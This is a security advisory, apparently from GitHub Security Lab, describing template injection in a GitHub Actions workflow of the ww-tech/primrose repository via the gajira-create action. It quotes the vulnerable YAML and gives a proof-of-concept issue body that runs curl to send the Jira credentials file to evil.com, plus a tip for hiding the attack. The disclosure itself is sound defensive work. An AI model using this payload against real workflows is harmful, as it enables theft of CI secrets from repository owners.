Summary
Automatic GitHub workflow in ww-tech/primrose repository is vulnerable to template injection from user comments.
Product
ww-tech/primrose repository
Tested Version
Master branch.
Details
Issue: Hidden expression expansion of input parameters passed to atlassian/gajira-create
Jira Create issue step in issues.yml workflow is vulnerable to template injection.
${{ github.event.issue.title }} and ${{ github.event.issue.body }} are used to format input values to atlassian/gajira-create action:
- name: Jira Create issue
uses: atlassian/gajira-create@v2.0.0
with:
# Key of the project
project: DS
# Type of the issue to be created. Example: 'Incident'
issuetype: Task
# Issue summary
summary: "${{ github.repository}} Issue #${{ github.event.issue.number}} ${{ github.event.issue.title}}"
# Issue description
description: ${{ github.event.issue.body}} ${{ github.event.issue.html_url}}
The action has a hidden feature - it expands {{}} internally. This way when the comment body contains an expression in double curly braces it is evaluated by node.js in these actions.
Impact
This vulnerability allows for arbitrary code execution in the context of GitHub runner. For example a user may create an issue with the body:
{{ process.mainModule.require('child_process').exec(`curl -d @${process.env.HOME}/.jira.d/credentials http://evil.com`) }}
which will exfiltrate the secret Jira API token to the attacker controlled server. To make the attack less visible an attacker may modify the issue to Never mind my bad and close it.
Coordinated Disclosure Timeline
- 10/29/2020: Report sent to vendor
- 10/29/2020: Vendor acknowledges the issue
- 11/23/2020: Issue resolved
Credit
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-209 in any communication regarding this issue.